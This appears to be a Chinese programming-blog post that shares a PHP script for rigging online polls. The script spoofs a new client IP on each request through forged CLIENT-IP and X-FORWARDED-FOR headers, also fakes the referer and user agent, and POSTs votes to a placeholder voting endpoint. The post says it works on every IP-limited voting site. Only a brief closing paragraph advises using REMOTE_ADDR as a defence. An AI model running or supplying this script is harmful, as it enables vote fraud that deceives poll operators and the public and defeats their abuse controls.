欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  php教程

年关了,抛一个模拟ip刷票的php程序

程序员文章站 2022-04-12 16:57:54
...
 1 php
 2 $ip = $_GET['ip'] ? $_GET['ip'] : '1.1.1.1';
 3 $ipArr = explode(".", $ip);
 4 $ipArr[3] = $ipArr[3] + 1;
 5 if ( $ipArr[3] > 254 )
 6 {
 7     $ipArr[3] = 1;
 8     $ipArr[2] = $ipArr[2] + 1;
 9 }
10 if ( $ipArr[2] > 254 )
11 {
12     $ipArr[2] = 1;
13     $ipArr[1] = $ipArr[1] + 1;
14 }
15 if ( $ipArr[1] > 254 )
16 {
17     $ipArr[1] = 1;
18     $ipArr[0] = $ipArr[0] + 1;
19 }
20 if ( $ipArr[0] > 254 )
21 {
22     exit();
23 }
24 $ip = implode(".", $ipArr);
25 // 此处设置投票的id
26 $post_data = 'vid=8';
27 
28 // 投票的地址
29 $url = 'http://www.xxx.com/api.php?m=vote&a=voteto';
30 $user_agent = "Mozilla/4.0";
31 
32 $headers['CLIENT-IP'] = $ip;
33 $headers['X-FORWARDED-FOR'] = $ip;
34 
35 $headerArr = array();
36 foreach ( $headers as $n => $v )
37 {
38     $headerArr[] = $n . ':' . $v;
39 }
40 
41 $ch = curl_init();
42 curl_setopt($ch, CURLOPT_POST, 1);
43 curl_setopt($ch, CURLOPT_URL, $url);
44 
45 curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArr); // 构造IP
46 curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com/ "); // 构造来路
47 curl_setopt($ch, CURLOPT_HEADER, 1);
48 
49 curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
50 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
51 
52 ob_start();
53 curl_exec($ch);
54 $result = ob_get_contents();
55 ob_end_clean();
56 
57 echo $result;
58 echo '$ip . '"> ';
59 ?>

 

使用范围:所有限制ip地址的投票网站。投票数可到254*254*254*254。

 

 

如何防范该类刷票行为:

在获取客户端ip的时候优先使用:

$ip = getenv('REMOTE_ADDR');

用remote_addr可以有效控制模拟ip投票,除非使用代理才能绕过去,但是用web实现代理,速度就很慢了。